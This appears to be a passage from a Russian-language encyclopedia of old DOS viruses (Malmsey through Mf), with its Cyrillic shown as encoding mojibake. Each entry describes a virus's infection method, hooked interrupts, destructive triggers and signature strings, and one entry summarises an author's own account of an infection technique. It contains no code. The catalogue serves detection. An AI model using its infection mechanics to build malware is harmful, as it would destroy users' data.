Note: this is last evolutionary (ñ) version. Don't Worry!
Watch out for M.1.0 (available soon:)
Msg4Trnka: correct IDstr 4 Malat03=FCBF%2B9...
Malmsey.Habitat
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ïðè çàðàæåíèè ôàéëà ïî ñâîåé îøèáêå ìîæåò
ðàçðóøèòü åãî. 30 ñåíòÿáðÿ ðèñóåò êàðòèíêó, êàê è Lokjaw.Zwei.808 è
âûâîäèò òåêñò:
Malmsey Habitat v. 2.0 Lucifer Messiah -- ANARKICK SYSTEMS 07-18-92
Happy Birthday Pob!!
Mammoth.6000
Î÷åíü îïàñíûé ôàéëîâî-çàãðóçî÷íûé ïîëèìîðôíûé ñòåëñ-âèðóñ. Ïðè ïåðâîì
ñòàðòå èíôèöèðîâàííîé ïðîãðàììû âèðóñ çàðàæàåò MBR æåñòêîãî äèñêà.
Ïðè÷åì ïðè íàëè÷èè êîíòðîëëåðà IDE æåñòêîãî äèñêà, ïðè çàïèñè âèðóñíîãî
êîäà â MBR, âèðóñ ïðîãðàììèðóåò íåïîñðåäñòâåííî ïîðòû êîíòðîëëåðà IDE.
Âèðóñ îïðåäåëÿåò çàïóñê èíôèöèðîâàííîé ïðîãðàììû èç ïîä Microsoft
Windows è ïûòàåòñÿ â äàííîì ñëó÷àå ïðîòðàññèðîâàòü INT 13h. Â
çàâèñèìîñòè îò ñâîèõ âíóòðåííèõ ñ÷åò÷èêîâ èëè ïðè íåàêêóðàòíîé
òðàññèðîâêå êîäà âèðóñà, âèðóñ ìîæåò óíè÷òîæèòü èíôîðìàöèþ íà æåñòêèõ
äèñêàõ êîìïüþòåðà. Ðåçèäåíòíàÿ êîïèÿ âèðóñà óñòàíàâëèâàåòñÿ â ïàìÿòü
ïðè çàãðóçêå ñ æåñòêîãî äèñêà êîìïüþòåðà. Ïðè 10 ïåðåçàãðóçêå ñèñòåìû
âèðóñ ïûòàåòñÿ óíè÷òîæèòü èíôîðìàöèþ íà "âèí÷åñòåðàõ". Âèðóñ
ïåðåõâàòûâàåò INT 08, 13h, 17h, 20h, 21h, 25h, 26h. Ïðè çàðàæåíèè
Boot-ñåêòîðîâ ôëîïïè-äèñêîâ âèðóñ ôîðìàòèðóåò äîïîëíèòåëüíóþ ïîñëåäíþþ
äîðîæêó äèñêåòû, íà êîòîðóþ çàïèñûâàåò 12 ñåêòîðîâ ñîáñòâåííîãî êîäà è
îðèãèíàëüíûé Boot-ñåêòîð. Âèðóñ ïîñòîÿííî âêëþ÷àåò è âûêëþ÷àåò ïðèçíàê
íàëè÷èÿ â ÊÌÎÏ (CMOS)-ïàìÿòè äèñêîâîäîâ ôëîïïè-äèñêîâ, êîððåêòèðóÿ
êîíòðîëüíóþ ñóììó äàííîé CMOS-ïàìÿòè. Ïðè îáðàùåíèè ê ôëîïïè-äèñêàì
âèðóñ "âêëþ÷àåò" íàëè÷èå äèñêîâîäîâ â CMOS. Ïîñëå îáðàùåíèÿ -
"îòêëþ÷àåò".  ðåçóëüòàòå, ïðè çàãðóçêå ñèñòåìû ñ "÷èñòîé" ñèñòåìíîé
äèñêåòû, äèñêîâîäû äèñêåò ìîãóò îêàçàòüñÿ "íåóñòàíîâëåííûìè", è ñèñòåìà
â òàêîì ñëó÷àå ïîïûòàåòñÿ çàãðóçèòüñÿ ñ æåñòêîãî èíôèöèðîâàííîãî äèñêà.
Âèðóñ ïåðâûì ïîëó÷èò óïðàâëåíèå, óñòàíîâèò ñâîþ ðåçèäåíòíóþ êîïèþ â
ïàìÿòü, "âêëþ÷èò" íàëè÷èå äèñêîâîäîâ â CMOS-ïàìÿòè è îòäàñò óïðàâëåíèå
Boot-ñåêòîðó äèñêà A:. Ò.î., âèðóñ ïîëó÷èò óïðàâëåíèå äàæå ïðè çàãðóçêå
ñ "÷èñòîãî" ñèñòåìíîãî ãèáêîãî äèñêà! Âèðóñ ñîäåðæèò ñòðîêó
"COMMAND.COMGDI.EXEDOSX.EXEWIN386.EXEKRNL286.EXEKRNL386.EXEUSER.EXE
WSWAP.EXECHKDSK.EXE".Ïðîãðàììû, óêàçàííûå â äàííîé ñòðîêå âèðóñ íå
çàðàæàåò.
MangeTout.1091, 1099
Ðåçèäåíòíûå î÷åíü îïàñíûå âèðóñû. Èñïîëüçóþò îðèãèíàëüíûé àëãîðèòì
øèôðîâêè ñâîåãî êîäà. Ðàñøèôðîâûâàþò ñâîè ïîäïðîãðàììû â ñåãìåíòå ñ
àäðåñîì 0054:0000 è îòäàþò èì óïðàâëåíèå. Ïåðåõâàòûâàþò INT 08, INT 09,
INT 21h. Ïðè âûçîâå f.36h INT 21h (èíôîðìàöèÿ î ñâîáîäíîì ìåñòå íà
äèñêå), âèðóñû ïîäñòàâëÿþò â ñòåê àäðåñ âîçâðàòà èç ïðåðûâàíèÿ íà ñâîé
êîä. Àíàëèçèðóþò âîçâðàùåííûå INT 21h çíà÷åíèÿ - õâàòèò ëè ìåñòà äëÿ
çàðàæåíèÿ ôàéëîâ íà äàííîì óñòðîéñòâå. Ïîñëå ÷åãî ïðîèçâîäÿò ïîèñê
ôàéëîâ *.EXE è *.COM ñ ïîìîùüþ ôóíêöèé FindFirst, FindNext INT 21h.
Åñëè â òå÷åíèå ÷àñà íå áûëî ââîäà ñ êëàâèàòóðû, òî MangeTout.1099
ïûòàåòñÿ îòôîðìàòèðîâàòü íåñêîëüêî ñåêòîðîâ æåñòêîãî äèñêà, à
MangeTout.1091 óíè÷òîæàåò ïàðîëü â CMOS-ïàìÿòè è ñòèðàåò ñîäåðæèìîå
MBR. Ïîñëå ýòîãî âèðóñû "âåøàþò" ñèñòåìó. Ñîäåðæàò èíñòðóêöèè i286.
Manitoba
Îïàñíûé çàãðóçî÷íûé âèðóñ. Íå ñîõðàíÿåò îðèãèíàëüíûå boot-ñåêòîðà
ôëîïïè-äèñêîâ.
Manu.4096
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðåäóñìîòðåí âûâîä ñîîáùåíèÿ "Parity error
0000:F243", íî âðÿä ëè îí êîãäà-íèáóäü íàñòóïèò. Ñîäåðæèò òåêñò "Manu
virus Version 1.0".
Manuel.2209
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Óñòàíàâëèâàåò ñâîþ ðåçèäåíòíóþ
êîïèþ â îáëàñòü HMA, èçìåíÿÿ àäðåñ â ìåæñåãìåíòíîì êîñâåííîì ïåðåõîäå
îðèãèíàëüíîãî îáðàáîò÷èêà INT 21h íà àäðåñ âèðóñíîãî îáðàáîò÷èêà.
Èíîãäà ùåëêàåò äèíàìèêîì. Ñîäåðæèò òåêñò "Manuel strikes again".
Manzon.1414
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ñîäåðæèò òåêñòîâóþ ñòðîêó
"MANZON (c) Sgg1F5".
Mao.1465 (1,2)
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. 9 ñåíòÿáðÿ, â äåíü ðîæäåíèÿ è 26 äåêàáðÿ,
â äåíü ñìåðòè Ìàî Öçýäóíà èñïîëíÿåò äâå ðàçëè÷íûå êèòàéñêèå ìåëîäèè.
Marauder.860
Îïàñíûé âèðóñ. 2 ôåâðàëÿ ïðîèçâîäèò ïîèñê ôàéëîâ *.* â òåêóùåì êàòàëîãå
è óíè÷òîæàåò èõ, ïðîèçâîäÿ â íèõ çàïèñü òåêñòà
Í [Marauder] 1992 Hellraiser - Phalcon/Skism.
Marian.700
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò:
BULPACK BBS - PLOVDIV
Copyright (c) Marian Delkinov
PEDY PATENT.
Mariner.5000
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Â èþëå âûâîäèò íà ýêðàí êàðòèíêó
ñîëíöà, ìîðÿ è ïëàâàþùåãî ïî íåìó êîðàáëèêà, à òàêæå íàäïèñü "BCE HA
MOPE !!!". Â ìîìåíò êîãäà êîðàáëèê ïëàâàåò ïî ýêðàíó, âèðóñ ïûòàåòñÿ
óíè÷òîæèòü èíôîðìàöèþ íà æåñòêîì äèñêå, ïðàâäà, ýòî íå âñåãäà åìó
óäàåòñÿ. Êàðòèíêà ñ êîðàáëèêîì áûëà îòëàæåíà ëó÷øå. Òàêæå âèðóñ ìîæåò
ïî âîñêðåñåíüÿì çàïèñàòü â ôàéëû ñ ðàñøèðåíèÿìè COM, EXE, PAS, CPP
ôðàãìåíò ñëåäóþùåãî òåêñòà:
I`m the Ghost V1.2.
Check. Your move, Mr.AntiVirus !
My author`s coordinates are:Sun system, Earth, Europe, Russi...
2B continued... The more we know,the less we show.
There is nothing in the world that I ever wanted more than to never
feel breaking apart all my programs again.
Markiz.1972
Âîò ÷òî î ñâîåì "ïðîèçâåäåíèè" íàïèñàë â "äîêóìåíòàöèè",
ðàñïðîñòðàíÿþùåéñÿ âìåñòå ñ èñõîäíûìè òåêñòàìè ñàì àâòîð âèðóñà:
Âèðóñ ïåðåõâàòûâàåò int 21h/ax=4b00h. Â ìîìåíò íàñòóïëåíèÿ òàêîãî
ñîáûòèÿ âèðóñ îïðåäåëÿåò òèï ôàéëà è èññëåäóåò åãî íà ãðàíè÷íûå
çíà÷åíèÿ. Åñëè âñå ïðîõîäèò, âèðóñ âêëþ÷àåò âíóòðåííèé "îòëàä÷èê" è
ëîâèò ëþáîé âûçîâ int 21h. Äàëåå îïðåäåëÿåò àäðåñ åãî âîçíèêíîâåíèÿ è
ïðåäïîëàãàåò, ÷òî åãî ñãåíåðèëà çàïóùåííàÿ ïðîãðàììà. Çàòåì âèðóñ
ïûòàåòñÿ âû÷èñëèòü ýòîò àäðåñ íà äèñêå (íå ñîñòàâëÿåò òðóäà äëÿ COM,
íî äîâîëüíî åìêàÿ ïðîöåäóðà äëÿ âàðèàíòà EXE) è ïðîâåðÿåò,äåéñòâèòåëüíî
ëè ýòà èíñòðóêöèÿ ñóùåñòâóåò â ôàéëå (òóò êàê ðàç âèðóñ è îáõîäèò
óïàêîâàííûå ôàéëû).  ñëó÷àå óñïåõà, âèðóñ ñîõðàíÿåò ñòàðîå ñîäåðæèìîå
XX áàéò â ýòîì ìåñòå è ïèøåò òóäà ðàñøèôðîâùèê ñ ïåðåõîäîì íà òåëî
âèðóñà ( XX - äëèíà ðàñøèôðîâùèêà/ïåðåõîäà è ñîñòàâëÿåò 22 äëÿ COM-
ôàéëîâ, 33 äëÿ EXE). Ïðè ýòîì ïðîèçâîäèòñÿ ñðàâíåíèå, ýòèõ êîäîâ íà
äèñêå è â ïàìÿòè (äàáû èçáåæàòü ïîð÷ó ðàñêîäèðîâùèêà, íàïðèìåð â ñëó÷àå
ðåëîêàöèé). Äàëåå âèðóñ ïåðåïèñûâàåò â êîíåö ïåðåøèôðîâàííóþ êîïèþ,
âûêëþ÷àåò ñâîé "îòëàä÷èê" è ïåðåäàåò óïðàâëåíèå âûïîëíÿåìîé ïðîãðàììå.
Ïðè èíôèöèðîâàíèè EXE-ôàéëîâ, âèðóñ ìîæåò êîððåêòèðîâàòü SP_Entry â
çàãîëîâêå EXE, ïîìèìî îáÿçàòåëüíîé êîððåêòèðîâêè Pages_Count è
Part_Page. Ýòî îáúÿñíÿåòñÿ òåì, ÷òî ñòåê ìîæåò ðàñïîëàãàòüñÿ ãäå-òî çà
îáðàçîì ôàéëà. Ïðè êîððåêòèðîâêå ê çíà÷åíèþ SP_Entry ïðèáàâëÿåòñÿ äëèíà
âèðóñà ïëþñ 3000h áàéò.
Âèðóñ ñîäåðæèò òåêñò "MARKIZ-4/¹1995 °±²Ûù¦31/´(¦< (/´†ùÛ²±°".
Markiz.2660
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Â ôåâðàëå è îêòÿáðå âûâîäèò íà
ýêðàí "ñêà÷óùóþ" êàðòèíêó:
Welcome to 1.6 version of highperfomance FortranLover virii, ¹1995 Þ31/´(Þ< (/´†
ßÛÞßÛÛÛ ßÛÞßÛÛÛ ßÛÞßÛÛÛ ÛÛÞÛÛÛÛ ßÛÞßÛÛÛ ßÛÞßÛÛÛ ßÛÞßÛ Û
ÛÞÜ ÛÛÞ ÛÛÛ ÛÞÜÛÛß ßßÞÛ ßß ÛÞÜÛÛß ÛÞÜÛÛÛ ÛÞ ÛÛÛ
ÛÞ ÛÛÞ ÛÛÛ ÛÞ ÛÛÛ ÞÛ ÛÞ ÛÛÛ ÛÞ ÛÛÛ ÛÞ ÛÛ
ßßßß ßßßßßßß ßßß ßßß ßßßß ßßß ßßß ßßß ßßß ßßß ßß
Ú¬Ú¬Ú ¬Ú†¬Ú¬
†¦¦†† †À†¬ ¦
Á ÁÀÄÙÀ†Ù Á
ÚËËÍÍˬÚÍÑËÑͬÚÉÍÍÍˬ
¦ºº º¦ ¦º¦ ÃÎÍÍ
ÀÊÊÍÍÊÙÀÍÏÊÏÍÙÀÊÍÍÍÊÙ
Íå çàðàæàåò ôàéëû, ñîäåðæàùèå ñëåäóþùèå ñòðîêè ADIN,AID,ANT,DRW,FIND,
MSA, NAV, VSA, WEB. Èíîãäà ïåðåèìåíîâûâàåò ñòàðòóþùóþ ïðîãðàììó
FO?MA???.EXE â FO?MA???.ExE, ãäå x - ýòî áàéò 0E5. Ñîäåðæèò òåêñò
"[ÄDEDiCA†EDć0ÄMARKiZÄ]".
Martyr.641
Åñëè â òå÷åíèå ÷àñà íå áûëî çàãðóçêè ïðîãðàìì, âûâîäèò òåêñò "Meíÿ òû
cëèøêom äîëãî ÌÓ×ÀË ... Ïpoùaé, ìîé äðóã ! ß ÓMÈPAÞ ..." è ïåðåãðóæàåò
ñèñòåìó.
Marzia-âèðóñû
Î÷åíü îïàñíûå ôàéëîâî-çàãðóçî÷íûå ñòåëñ-âèðóñû. Çàðàæàþò MBR æåñòêîãî
äèñêà, COM è EXE-ôàéëû. Ïðè îòêðûòèè èíôèöèðîâàííûõ ôàéëîâ óäàëÿþò ñâîé
êîä èç íèõ. Ñîäåðæàò ñòðîêó "MARZIA".
Marzia.2048
 çàâèñèìîñòè îò ñèñòåìíîãî òàéìåðà ôîðìàòèðóþò ñëó÷àéíûé öèëèíäð íà
ïåðâîé ãîëîâêå ïåðâîãî æåñòêîãî äèñêà. Íå çàðàæàþò ïðîãðàììû,
çàêàí÷èâàþùèåñÿ íà AN, OT, SK, PY.
Marzia.Baracuda
Ïîñëå 24 ÷èñëà ïðè ñòàðòå íåêîòîðûõ àíòèâèðóñíûõ ïðîãðàìì âûçûâàåò INT
24h AX=2. Ñîäåðæèò òåêñòû "BARACUDA Vds" è "WW30V3".
Marzia.Demian
Ñîäåðæèò òåêñò "DVDEMIAN".
Marzia.DV (2)
Ïðè ñòàðòå íåêîòîðûõ ïðîãðàìì ìîãóò óíè÷òîæèòü ñîäåðæèìîå æåñòêîãî
äèñêà. Ñîäåðæàò ñòðîêó "DVv1.00a3".
Marzia.FaXFree
 àïðåëå ïîñëå 25 ÷èñëà ïðè ñòàðòå íåêîòîðûõ àíòèâèðóñíûõ ïðîãðàìì
âûçûâàåò INT 24h AX=2. Ñîäåðæèò òåêñòû "PISello tenere fuori dalla
portata dei bambini. PaxTibiQuiLegis.FaxFree!!", "WW20V".
Marzia.Pasiphae
 ìàðòå ïîñëå 25 ÷èñëà ïðè ñòàðòå íåêîòîðûõ àíòèâèðóñíûõ ïðîãðàìì
âûçûâàåò INT 24h AX=0. Ñîäåðæèò òåêñòû "PASIPHAE(c)93Knosso by Willi
Wonka PpHhIiSsIiCcAaRrTt", "WW?-?".
Marzia.Pisello
 àïðåëå ïîñëå 25 ÷èñëà ïðè ñòàðòå íåêîòîðûõ àíòèâèðóñíûõ ïðîãðàìì
âûçûâàåò INT 24h AX=2. Ñîäåðæèò òåêñòû "PISello tenere fuori dalla
portata dei bambini.", "WW20V3".
Marzia.SZ
Ïðè ñòàðòå íåêîòîðûõ ïðîãðàìì ìîæåò óíè÷òîæèòü ñîäåðæèìîå æåñòêîãî
äèñêà, ïîñëå ÷åãî âûâåäåò òåêñò "SZ VIRUS". Ñîäåðæèò ñòðîêó "WW35V3".
Marzia.VDS (1,2)
24 ìàÿ ïðè ñòàðòå íåêîòîðûõ àíòèâèðóñíûõ ïðîãðàìì âûçûâàåò INT 24h
AX=2. Ñîäåðæèò òåêñòû "(c)93Virus Development Software", "WW34V3".
Marzia.WW (1)
 ìàðòå ïîñëå 25 ÷èñëà ïûòàåòñÿ îòôîðìàòèðîâàòü âñå öèëèíäðû ãîëîâêè-1
ïåðâîãî æåñòêîãî äèñêà. Ñîäåðæèò ñòðîêó "WWMARZIA". Íå çàðàæàåò ôàéëû
ñ èìåíåì, çàêàí÷èâàþùèìñÿ íà OT (F-PROT). Ïðè âûçîâå f.3031h INT 21h
âûâîäèò íà ýêðàí òåêñò:
Virus Development Software
(c)92 PETUNIA virus
Written by Willi Wonka
Fago industries
Marzia.WW (2)
30-31 ÷èñëà ñ ìàÿ ìåñÿöà óíè÷òîæàåò ïî 7 ñåêòîðîâ íà êàæäîì öèëèíäðå
0 äîðîæêè. Ñîäåðæèò òåêñò "WW20V3".
Mask.2389
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Âûâîäèò ñîîáùåíèÿ ïî ñëåäóþùèì
÷èñëàì:
30 è 31 äåêàáðÿ:
*
/|\ Happy New Year, buddy !
//|\\
///|\\\ Yours truly
////|\\\\ The Mask 2
/////|\\\\\
|
1 àïðåëÿ:
System diagnostic failure: cylinder #1 of your hard disk is cracked.
There is a peril of hard disk explosion.
Only an immediate formatting can help.
Confirm format now [Y/N]?
Ïðè íàæàòèè íà êëàâèøó îòëè÷íóþ îò "Y" âèðóñ âûâîäèò òåêñò:
Wrong. Your hard disk NEEDS to be formatted.
À äàëüøå ïðîäîëæåíèå òàêîå æå, êàê è ïðè íàæàòèè íà "Y":
Say GOOD BYE to all data on your hard disk !
Start formatting ...
Ïîñëå ÷åãî âèðóñ èìèòèðóåò ôîðìàòèðîâàíèå æåñòêîãî äèñêà...
Format complete.
Peril of explosion is not over. Next several weeks be very careful:
if you will hear suspicious noise inside computer, immediately rush down
to the floor, quickly crawl to phone and call for rescue rangers (911).
Press the ENTER key.
Òàêæå èíîãäà èìèòèðóåò íåèñïðàâíîñòü ìîíèòîðà è èçäàåò "õàðàêòåðíûé"
äëÿ äàííîãî ñëó÷àÿ çâóê. Ïðè íàæàòèè íà Esc âûâîäèò òåêñò:
Video signal lost. Some device causes strong interference.
Please reorient or relocate your computer or consult
experienced technician for help.
Press the ENTER key.
Èìååò âíóòðè ñåáÿ ñòðîêó "<< The Mask 2. Dedicated to Mrs Marina - the
Wonderfulest Woman I ever met. >>".
Mask.3060
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. "Ïåðåõâàòûâàåò" INT 20h, 21h,
22h. Âûâîäèò ñîîáùåíèÿ ïî ñëåäóþùèì ÷èñëàì:
1 ìàðòà è 1 ñåíòÿáðÿ:
Do you remember three main rules of computer user ?
Here they are:
1. Don't fart at your computer.
2. If you're working with secret documents, don't
forget to burn them down before reading.
3. Never be surprised by your computer's jokes.
Good work...
1 èþíÿ:
First day of SUMMER... Cool !
Isn't this that beautiful day we were all waiting for ?
1 äåêàáðÿ:
Winter... Damn !
The only good in winter is that there will be a summer after it...
30 è 31 äåêàáðÿ:
Happy New Year, buddy !
1 àïðåëÿ:
System diagnostic error: cylinder no.12 of your hard disk is cracked.
There is a peril of explosion in 30 seconds.
Only an immediate formatting can help.
Confirm format now [Y/N]?
È îæèäàåò íàæàòèÿ íà êëàâèøó. Åñëè íàæàòèÿ íà êëàâèøó íå áûëî, òî âèðóñ
ïî èñòå÷åíèè íåêîòîðîãî âðåìåíè âûâîäèò òåêñò:
Time is over. Can't wait longer.
Åñëè áûëà ââåäåí ëþáîé ñèìâîë êðîìå "Y" èëè "y", òî âèðóñ âûâîäèò òåêñò
Wrong. Your hard disk NEEDS to be formatted.
Äàëåå, ïðè ëþáîì èñõîäå, âèðóñ âûâîäèò òåêñò:
Say GOOD BYE to all data on your hard disk !
Start formatting ...
è ïðîèçâîäèò ïîñòîÿííîå ÷òåíèå 2 ñåêòîðà æåñòêîãî äèñêà. Ïðè íàæàòèè íà
êëàâèøó "Esc", âèðóñ âûâîäèò òåêñò:
Relax ! It's a joke. Your hard disk is OK.
Ñîäåðæèò òåêñòîâóþ ñòðîêó "The Mask".
Massacre.775
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ìîæåò óäàëèòü ñòàðòóþùèé ôàéë.Ñîäåðæèò òåêñò
"[MIDNIGHT MASSACRE] V1.2 by Crypt Keeper".
Maximum.1198
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò ñîîáùåíèå:
Radio MAXIMUM virus ver.1.0 beta (c) 1995 D&M Software.
So... tell me, what is the frequency of Radio MAXIMUM?
è æäåò ââîäà ñòðîêè. Åñëè ââåñòè ñòðîêó 103_7 (÷åòâåðòàÿ öèôðà çíà÷åíèÿ
íå èìååò), òî âèðóñ âûâîäèò òåêñò:
Right!
Radio MAXIMUM - BEST Radio...
æäåò íàæàòèÿ íà êëàâèøó, ïîñëå ÷åãî óäàëÿåò ñâîé êîä (ñàìîèçëå÷èâàåòñÿ)
èç ñòàðòîâàâøåé ïðîãðàììû. Åñëè æå çíà÷åíèå "÷àñòîòû" áóäåò ââåäåíî íå
òàêîå, êàêîå íðàâèòñÿ âèðóñó, òî áóäåò âûâåäåí òåêñò:
Error!
Now restarting...
è ïðîèçîéäåò ïåðåçàãðóçêà ñèñòåìû. Âèðóñ òàêæå ñîäåðæèò ñòðîêè "D&M.SYS
COMMAND.IBMBIO.IBMDOS.DOS.PATH=".
Maybe.664
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Âûâîäèò òåêñò:
You have BEAST VIRUS now!
Turn OFF computer or begin format... You have X seconds!
Formatting... May be C: or may be....
Ïîñëå ÷åãî äåðãàåò ãîëîâêè æåñòêîãî äèñêà è âûâîäèò ñòðîêó:
Congratulation!
MayDay.419
Óñòàíàâëèâàåò ñèñòåìíóþ äàòó íà 1 ìàÿ 1992 ãîäà. Ïðè âîçíèêíîâåíèè
êðèòè÷åñêîé îøèáêè (INT 24h) âûâîäèò ñòðîêó "Today is May Day".
MBR77
Ïîñëå 77 çàðàæåíèé æåñòêèõ äèñêîâ óíè÷òîæàåò èíôîðìàöèþ â 7 ñåêòîðàõ
ôëîïïè-äèñêîâ.
Mefl.625, 700
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Èìåþò òåêñò "ÌÝÔË" èëè "#1502 - ÌÝÔË".
Megadeth.3973, Megadeth.Sepultura
Íåîïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Çàðàæàþò COM è EXE-ôàéëû,
çàïèñûâàÿ ñâîé êîä â èõ íà÷àëî, à ïðîãðàììíûé êîä ïåðåíåñÿ â êîíåö
ôàéëà. EXE-ôàéëû, òàêèì îáðàçîì, ïðåâðàùàþòñÿ â ôîðìàò COM-ôàéëà. Ïðè
ñòàðòå âèðóñû òðàññèðóþò INT 20h äî âõîäà â îáðàáîò÷èê INT 21h è
óñòàíàâëèâàþò â îïðåäåëåííîé òî÷êå îáðàáîò÷èêà INT 21h ìåæñåãìåíòíûé
JUMP íà ñîáñòâåííûé êîä. Äëÿ ïðîãðàììû-æåðòâû âèðóñû ñòðîÿò ïðåôèêñ
ïðîãðàììíîãî ñåãìåíòà (PSP), íàñòðàèâàþò EXE-ôàéë ñ ïîìîùüþ òàáëèöû
ïåðåìåùàåìûõ ýëåìåíòîâ (relocation table) è îòäàþò ïðîãðàììå-æåðòâå
óïðàâëåíèå. Èíîãäà ïðè âîçíèêíîâåíèè êðèòè÷åñêîé îøèáêè ðåçèäåíòíûé
âèðóñû ìîãóò âûâåñòè ñîîáùåíèå:
Megadeth.3973:
FORMULA 1: I love this competition. Coulthard will be the winner.
Megadeth.Sepultura:
Virus is dedicated
in memory of my friend Igor.
ÛÛ ÛÛÛ ÛÛ Û Û Û ÛÛÛ Û Û ÛÛ Û
Û Û Û Û Û Û Û Û Û Û Û Û Û Û
Û Û Û Û Û Û Û Û Û Û Û Û Û Û
ÛÛÛ ÛÛÛ ÛÛ Û Û Û Û Û Û ÛÛ ÛÛÛ
Û Û Û Û Û Û Û Û Û Û Û Û Û
Û Û Û Û Û Û Û Û Û Û Û Û Û
ÛÛ ÛÛÛ Û ÛÛ ÛÛÛ Û ÛÛ Û Û Û Û
CHAOS A.D.
Äàííîå ñîîáùåíèå âèðóñ Megadeth.Sepultura âûâîäèò òàêæå 20 ñåíòÿáðÿ.
Ñîäåðæàò òåêñòû:
Megadeth.3973:
MEGADETH
MtE-small by Keith Timmons.
MetallicA
Megadeth.Sepultura:
SEPULTURA
Shurick's MtE-small
Âèðóñû ñîäåðæàò ñåðüåçíûé ìåõàíèçì ñîçäàíèÿ ïîëèìîðôíûõ êîïèé. Ïî
èìåþùèìñÿ äàííûì âèðóñ Megadeth.3973 áûë ñîçäàí ó÷åíèêîì 10 êëàññà
Òåõíè÷åñêîãî Ëèöåÿ ãîðîäà-ãåðîÿ Ñåâàñòîïîëÿ. Äàííûé ó÷åíèê ïîñëå
èäåíòèôèêàöèè åãî ëè÷íîñòè, êàê àâòîðà, ïîìî÷ü â äåòåêòèðîâàíèè ñâîåãî
æå äåòèùà íå ñìîã.
Megawatt.249
Ñîäåðæèò ñòðîêó "-=MEGAWATT=-".
Meht.1258, 1317
Îïàñíûå ðåçèäåíòíûå âèðóñû. Çàïèñûâàþò ñâîé êîä â 4 ñåêòîðà, íà÷èíàÿ ñ
10 ñåêòîðà, íà æåñòêèé äèñê. Óñòàíàâëèâàþò ÷àñòü ñâîåãî êîäà â ïàìÿòü
ïî àäðåñó 60:0. Ïðè âûçîâå f.4b00h INT 21h (çàïóñê ïðîãðàììû), âèðóñû
ñ÷èòûâàþò 4 ñâîèõ ñåêòîðà ñ äèñêà â ïàìÿòü ïî àäðåñó 9A00:0 è îòäàþò
ýòîìó êîäó óïðàâëåíèå. "Ïåðåõâàòûâàþò" INT 8, 21h. Ïåðèîäè÷åñêè çâîíÿò
ìîäåìîì ïî òåëåôîíó 02. Ñîäåðæàò òåêñò:
Meht.1258:
# Virus-MENT, v1.0 (C) MBD Poccuu. XI.1996 #
# HELLO, POLICE ! I`M, DIRTY USER, HAVE STEAL BILLY`S WINDOWS !
# POLICE OF THE WORLD, HANDS OFF FROM CYBERSPACE !
Meht.1317:
# Bupyc-MEHT, v1.0 (C) MBD Poccuu. XI.1996 #
# ÀËËÎ, ÌÈËÈÖÈß ! ß, ÃÐßÇÍÛÉ ÞÇÅÐ, ÓÊÐÀË Ó ÁÈËËÈ ÎÊÎØÅ×ÊÈ !
# Ñ #îâûì 1937-ì ãîäîì, ñîâêîâûé êèáåðñïýéñ !
# Äà, çäðàâñòâóåò ðîññèéñêàÿ ìèëèöèÿ° è äðóãèå äåðåâÿííûå èçäåëèÿ...
MemLapse.787
Íåîïàñíûé ðåçèäåíòíûé ñòåëñ-âèðóñ. Ïðè îòêðûòèè èíôèöèðîâàííîãî ôàéëà
óäàëÿåò ñâîé êîä èç äàííîãî ôàéëà. Ñîäåðæèò òåêñòîâóþ ñòðîêó: "[Nympho
Mitosis] v2.0 Copyright (c) 1993 Memory Lapse 5".
MemLapse.Glitch
Èìååòñÿ "[Chromosome Glitch] v2.0 Copyright (c) 1993 Memory Lapse".
Mephisto.1235
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Èíîãäà âûçûâàåò "áóêâîïàä" íà
ýêðàíå. Óíè÷òîæàåò ôàéëû *.?SM. Çàðàæàåò ôàéëû CO?????.?OM
(COMMAND.COM). Ñîäåðæèò òåêñòû "[NUMBER FIVE (Special) V 1.00]", "(Û)
Mephisto Switzerland".
Metallica.500 (1,2)
Èìåþò ñòðîêó "MetalliñA".
Metallica.1739
Èíîãäà ðèñóåò íà ýêðàíå ìîãèëó. Äóáëèðóåò íàæàòèå êëàâèø. Ñîäåðæèò
ñòðîêè "Manowar", "Metallica".
Mf.3490, 3503, 3564
Îïàñíûå ïîëèìîðôíûå ðåçèäåíòíûå âèðóñû. Ìîãóò óíè÷òîæèòü ñîäåðæèìîå
CMOS-ïàìÿòè, ìåíÿþò íà ýêðàíå ðóññêèå áóêâû, à òàêæå íàæàòèÿ íà êëàâèøè
ð,à,ñ,å,p íà ã,a,c,ý,ð ñîîòâåòñòâåííî. Ìîãóò âûâåñòè ñîîáùåíèå:
Merlin from AMBER: FUCK YOU MAN!
Áëîêèðóþò äîñòóï ê óäàëåííûì ôàéëàì. Ïðîâåðÿþò ââîä ñòðîê ñ êëàâèàòóðû.
Åñëè ââåäåíî "Tell me your ver, mf!", òî âèðóñû âûâîäÿò òåêñòû:
Mf.3490 : My ver is MF v10.1
Mf.3503 : My ver is MF v10.1
Mf.3564 : My ver is MF v10.0
Åñëè ââåäåíà ñòðîêà "Do your job, mf!", òîãäà âûâîäÿò òåêñò: "Yes, I
got it, man." è óíè÷òîæàþò ñîäåðæèìîå CMOS-ïàìÿòè.
Mf.4270, 4625, 5088
Îïàñíûå ôàéëîâî-çàãðóçî÷íûå ïîëèìîðôíûå âèðóñû. Ïåðåõâàòûâàþò INT 10h,
13h, 16h, 17h, 1Ch, 21h. Ïðè ïå÷àòè íà ïðèíòåð ìåíÿþò áóêâû ðÐåÅ íà
ãÃýÝ. "Òðÿñóò" ýêðàí. Åñëè âåðñèÿ DOS íèæå 5.00 - âûâîäÿò ñîîáùåíèå
"Invalid parameter missing". Ïðè íåàêêóðàòíîì îáåçâðåæèâàíèè â ïàìÿòè
